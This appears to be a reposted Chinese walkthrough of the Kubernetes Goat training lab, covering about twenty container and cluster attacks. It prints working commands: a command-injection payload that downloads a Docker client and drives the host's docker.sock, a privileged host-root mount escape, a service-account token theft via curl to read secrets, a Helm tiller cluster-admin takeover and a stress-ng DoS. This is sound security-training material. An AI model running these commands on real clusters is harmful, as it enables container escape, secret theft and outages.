<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    學習K8S中常見的21種攻擊方式

    VSole2021-11-19 17:14:47

    練習地址

    https://katacoda.com/madhuakula/scenarios/kubernetes-goat官方提供了在線環境和WriteUp,簡直太棒了!或者自己本地跑也可以。

    靶場架構

    K8S常見漏洞學習

    敏感信息泄露

    CI/CD的意思就是DevOps中的持續集成/持續開發,比如Jenkins、Gitlab、阿里云的云效等平臺。

    這里存在git泄露

    git泄露除了能拿到源碼,還能拿到git記錄。提示存儲了環境變量,ak可能在里面。拿到flag

    另外一種方法是使用數據分析工具truffleHog

    pip install truffleHog
    

    DIND (docker-in-docker) exploitation

    -docker逃逸

    參考https://cloud.tencent.com/developer/article/1676154

    掛載docker.sock導致容器逃逸https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-docker-sock

    Docker Socket是Docker守護進程監聽的Unix域套接字,用來與守護進程通信——查詢信息或下發命令。如果在攻擊者可控的容器內掛載了該套接字文件(/var/run/docker.sock),可通過Docker Socket與Docker守護進程通信,發送命令創建并運行一個新的容器,將宿主機的根目錄掛載到新創建的容器內部,完成簡單逃逸。

    老CTF了,命令注入。

    通過信息收集發現本地掛載了docker.sock

    exploit

    靶場里沒docker,需要下載一個二進制包。

    ;wget https:
    //download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
    ;tar -xvzf /tmp/docker-
    19.03
    .
    9.tgz
    -C /tmp/
    ;
    /tmp/
    docker/docker -H unix:
    ///custom/docker/docker.sock ps
    ;
    /tmp/
    docker/docker -H unix:
    ///custom/docker/docker.sock images
    

    這里無法交互式

    交互式的情況下利用步驟

    docker run -itd -v /
    var
    /run/docker.sock:
    /var/
    run/docker.sock ubuntu
    先將源替換為中科大源
    sed -i 
    's/archive.ubuntu.com/mirrors.ustc.edu.cn/g'
    /etc/apt/sources.list
    apt update&& apt install -y wget
    然后下載編譯好的docker 客戶端
    wget https:
    //download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
    tar xf ./docker-
    17.03
    .
    0
    -ce.tgz
    cd /docker
    ./docker run -it -v /:
    /host --privileged --name=sock-test ubuntu /
    bin/bash
    這里也可反彈shell
    

    在線工具https://redtools.redteaming.net/

    SSRF in K8S world

    通過ssrf獲得元數據進行深入利用。

    pod部署的時候5000端口常用來做轉發,也可以掃描其他端口,尋找敏感信息。

    flag在http://metadata-db/latest/secrets/kubernetes-goat

    Container escape to access the host system

    場景用戶把物理機的路徑掛載到了容器內。

    將這個目錄設置為root目錄就能逃逸。chroot host-system/ bash

    env拿到flag

    Docker CIS Benchmarks analysis安全檢查

    來源 https://www.jianshu.com/p/102e524d816bdocker-bench用于檢查有關在生產中部署Docker容器的安全問題。docker-bench當前支持對多個版本的Docker(1.13和17.06)進行測試,并且將基于主機上運行的Docker版本確定要運行的測試集,同時也可以使用--version命令行標志手動指定要運行測試的版本。

    詳情見原文https://madhuakula.com/kubernetes-goat/scenarios/scenario-5.html#docker-cis-benchmarks-analysis

    Kubernetes CIS Benchmarks analysis

    https://madhuakula.com/kubernetes-goat/scenarios/scenario-6.html

    Docker Registry API未授權訪問

    容器注冊表是推送所有容器鏡像的地方。大多數情況下,每個組織單位都有自己的私有注冊表。有時會被用戶配置成public。另一方面,假設開發人員將他們的所有敏感信息都存儲在容器映像中。讓我們看看我們能在這里找到什么。

    https://2886795340-1235-simba10.environments.katacoda.com/madhuakula/k8s-goat-users-repo/manifests/lates

    Docker Remote API未授權訪問

    https://askding.github.io/Kali/Exploit/Docker.html

    NodePort 服務

    暴露https://madhuakula.com/kubernetes-goat/scenarios/scenario-8.html

    如果任何用戶使用 
    NodePort
    暴露了 
    Kubernetes
    集群中的任何服務,這意味著運行 
    Kubernetes
    集群的節點沒有啟用任何防火墻。我們能看到一些未經身份驗證和未經授權的服務。
    要開始使用該場景,請運行以下命令并查找 
    Kubernetes
    節點中的開放端口
    kubectl 
    get
     nodes -o wide
    
    當 Kubernetes 創建一個 NodePort 服務時,它會從定義 Kubernetes 集群的標志中指定的范圍內分配一個端口。(默認情況下,這些端口范圍為 30000-32767。)

    用masscan掃描這些ip的端口即可, 30000-3276

    Helm v2 tiller to PwN the cluster


    Helm
    是 
    Kubernetes
    的包管理器。這就像 
    Ubuntu
    的 apt-
    get
    。在這種情況下,我們將看到舊版本的 helm(版本 
    2
    )、tiller 服務 RBAC 默認設置以獲取對完整集群的訪問權限。
    

    要開始使用該場景,請運行以下命令

    kubectl run --rm --restart=
    Never
    -it --image=madhuakula/k8s-goat-helm-tiller -- bash
    
    • 默認情況下,helm 2 的部署完成后,用戶具有完整集群管理員權限的 RBAC
    • 所以默認安裝在 kube-system 命名空間中,服務名稱為 Tiller-deploy,端口 44134 暴露在 0.0.0.0。所以我們可以通過運行 telnet 命令來驗證。

    現在,我們可以連接到tiller服務端口。我們可以使用 helm 二進制文件來執行操作并與tiller服務建立連接。

    helm --host tiller-deploy.kube-system:
    44134
     version
    

    然后我們可以創建自己的 helm chart 來授予默認服務帳戶擁有完整的集群管理員訪問權限,因為默認情況下,當前 pod 部署在具有默認服務帳戶的默認命名空間中。

    helm --host tiller-deploy.kube-system:
    44134
     install --name pwnchart /pwnchart
    

    現在 pwchart 部署成功,它已授予所有默認服務帳戶擁有集群管理員訪問權限。因此,讓我們嘗試獲取 kube-system namespace中的secrets。

    kubectl 
    get
     secrets -n kube-system
    

    這種情況會改變tiller部署的方式,有時,管理員將tiller部署到具有特定權限的特定命名空間。同樣從 Helm 3 開始,沒有tiller服務來緩解此類漏洞

    Analysing crypto miner container

    我的理解是分析容器中有沒有挖礦腳本。https://madhuakula.com/kubernetes-goat/scenarios/scenario-10.html#analysing-crypto-miner-container

    Kubernetes Namespaces bypass

    默認情況下,k8s內部的namespace可以相互訪問,正常步驟掃描滲透即可。admin/admin

    信息收集

    CDK一把梭。

    資源DOS攻擊

    Kubernete smanifests中沒有資源規范,也沒有為容器應用限制其范圍。作為攻擊者,我們可以消耗 pod/deployment 運行的所有資源,并使其他資源匱乏,并導致環境發生 DoS。

    使用壓測神器stress-ng 進行攻擊。

    stress-ng --vm 
    2
    --vm-bytes 
    2G
    --timeout 
    30s
    

    然后內存爆炸

    想起來以前打awd想辦法讓自己機器關機的時候。。

    Hacker Container preview

    hacker-container是一個輔助滲透的容器,里面有一些工具。

    kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
    

    Hidden in layers

    分析正在運行的容器,尋找敏感信息。
    kubectl 
    get
     jobs
    docker inspect madhuakula/k8s-goat-hidden-
    in
    -layers
    

    在沒有dockerfile的情況下,分析容器是如何構建的。

    Method 1 (docker history)

    docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers

    Method 2 (generates dockerfile from image)

    alias
     dfimage=
    "docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
    dfimage -sV=
    1.36
     madhuakula/k8s-goat-hidden-
    in
    -layers
    

    Method 3 (using dive)

    https://madhuakula.com/kubernetes-goat/scenarios/scenario-15.html#method-2-generates-dockerfile-from-image

    RBAC 最低權限配置錯誤

    我們經常看到,開發人員和 DevOps 團隊喜歡設置高權限。在這種情況下,您可以利用綁定到 pod 的 serviceaccount 來提供 webhookapikey 訪問,攻擊者可以獲得對其他機密和資源的控制。訪問 vaultapikey secret flag。

    由于 Kubernetes 將所有secret、令牌和服務帳戶信息存儲在默認位置,因此可以試試查找有用信息。

    現在我們可以使用這些信息來查詢并與具有令牌可用權限和特權的 Kubernetes API 服務繪畫

    • 先指向內部 API 服務器主機名
    export
     APISERVER=https:
    //${KUBERNETES_SERVICE_HOST}
    
    • set ServiceAccount token
    export
     SERVICEACCOUNT=
    /var/
    run/secrets/kubernetes.io/serviceaccount
    
    • 讀取 pods 命名空間并將其設置為變量。
    export
     NAMESPACE=$(cat ${SERVICEACCOUNT}/
    namespace
    )
    
    • read the ServiceAccount bearer token
    export
     TOKEN=$(cat ${SERVICEACCOUNT}/token)
    
    • 在 CURL 請求中查詢時指向要使用的 CACERT 路徑
    export
     CACERT=${SERVICEACCOUNT}/ca.crt
    
    • 現在我們可以使用令牌和構造的查詢來探索 Kubernetes API
    curl --cacert ${CACERT} --header 
    "Authorization: Bearer ${TOKEN}"
    -X GET ${APISERVER}/api
    

    • 查詢默認命名空間中的可用secret
    curl --cacert ${CACERT} --header 
    "Authorization: Bearer ${TOKEN}"
    -X GET ${APISERVER}/api/v1/secrets
    

    • 查詢特定于命名空間的secret
    curl --cacert ${CACERT} --header 
    "Authorization: Bearer ${TOKEN}"
    -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
    
    • 查詢特定命名空間中的 pod
    curl --cacert ${CACERT} --header 
    "Authorization: Bearer ${TOKEN}"
    -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
    

    API可以增刪改查,詳情請翻文檔。
    • Get the k8svaulapikey
    curl --cacert ${CACERT} --header 
    "Authorization: Bearer ${TOKEN}"
    -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
    echo 
    "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U="
    | base64 -d
    

    KubeAudit - Audit Kubernetes Clusters

    類似于CDK,自動化審計工具https://github.com/Shopify/kubeaudit

    Sysdig Falco - Runtime Security Monitoring & Detection

    此場景為部署容器和kubernetes資源的運行時安全監控和檢測。

    https://madhuakula.com/kubernetes-goat/scenarios/scenario-18.html

    Popeye - A Kubernetes Cluster Sanitizer

    該場景主要是通過掃描實時Kubernetes集群來對Kubernetes集群進行審計,并報告部署的資源和配置的潛在問題。
    kubectl run -n kube-system --serviceaccount=tiller --rm --restart=
    Never
    -it --image=madhuakula/hacker-container -- bash
    

    https://madhuakula.com/kubernetes-goat/scenarios/scenario-19.html#popeye---a-kubernetes-cluster-sanitizer

    Secure network boundaries using NSP

    這個場景是為 kubernetes 資源部署一個簡單的網絡安全策略來創建安全邊界。

    使用下面這個項目來對k8s設計出一套網絡隔離方案。https://github.com/ahmetb/kubernetes-network-policy-recipes細節請看https://madhuakula.com/kubernetes-goat/scenarios/scenario-20.html

    參考

    https://madhuakula.com/kubernetes-goat/teardown.htmlhttps://github.com/ahmetb/kubernetes-network-policy-recipeshttps://www.google.com/

    kubernetesdocker
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    網絡犯罪組織使用一個稱為Weave Scope的合法工具,在目標DockerKubernetes集群上建立了無文件后門。據研究人員稱,TeamTNT網絡犯罪團伙卷土重來,他們通過濫用一種名為Weave Scope的合法云監控工具攻擊DockerKubernetes云實例。但是接下來,攻擊者下載并安裝 Weave Scope。TeamTNT小組專門研究攻擊云,通常使用惡意Docker映像進行攻擊,并證明了自己的創新能力。TeamTNT之前也有文檔記載在AWS內部署獨特且罕見的憑證竊取蠕蟲。
    目前發現并沒有將kubernetesDocker技術產生背景和需求進行比較的文章,本文從最純正的官方定義角度出發并展開,闡述二者產生背景及與傳統技術對比。官方定義2:k8s是一個開源的容器集群管理系統,可以實現容器集群的自動化部署、自動擴縮容、維護等功能。
    最近,各大互聯網巨頭在技術戰略層面,都把云原生列為了主要發展方向。大的點就是 Go 語言 + Kubernetes,基本功就是操作系統、網絡協議那些。而其中,KubernetesDocker、DevOps 又是重中之中
    淺談云安全之K8S
    2021-07-14 05:06:00
    Kubernetes 是一個可移植的,可擴展的開源容器編排平臺,用于管理容器化的工作負載和服務,方便了聲明式配置和自動化。它擁有一個龐大且快速增長的生態系統。Kubernetes 的服務,支持和工具廣泛可用。
    一旦收集到登錄信息,惡意軟件就會登錄并部署XMRig挖掘工具來挖掘Monero cryptocurrency。這是觀察到的第一個專門針對AWS以進行密碼劫持的威脅。該域托管惡意軟件,其首頁名為“ TeamTNT RedTeamPentesting”。TeamTNT多產,并于今年初被發現。4月,趨勢科技觀察到該組織正在攻擊Docker Containers。Cado研究人員建議,為阻止此類攻擊,企業應確定哪些系統正在存儲AWS憑證文件,并在不需要時將其刪除。
    “貼身”保護5G邊緣計算
    風險評估可以識別系統中的安全弱點,然后努力減輕這些風險。反過來,這些數據被用于主動促進風險評估和安全操作。網絡安全專業人員必須能夠進行數字取證調查,包括惡意軟件分析、圖像捕獲和事件響應分析。將監督審計和評估,以衡量現有數據安全控制的有效性,并向管理層報告審計結果。許多企業要求應聘者熟悉其中一項或多項規定。
    聊一聊新版本的幾個主要功能更新和改進。
    啟明星辰堡壘機聚焦特權與會話管理(PASM)、統一身份驗證管理(UIAM)、特權提升和托管管理(PEDM)。
    近年來,非接觸式信貸、理財及保險等金融服務的發展開始提速,金融業務的數字化、云端化及智能化正成為趨勢,以人工智能、區塊鏈、云計算及大數據等為代表的數字技術創新發展不斷沖擊著金融行業的商業模式。2022年1月,人民銀行發布《金融科技發展規劃(2022—2025年)》,明確提出從戰略、組織、管理、目標、路徑以及考評等方面將金融數字化打造成金融機構的“第二發展曲線”,積極推進科技賦能,堅持服務鄉村振興、
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类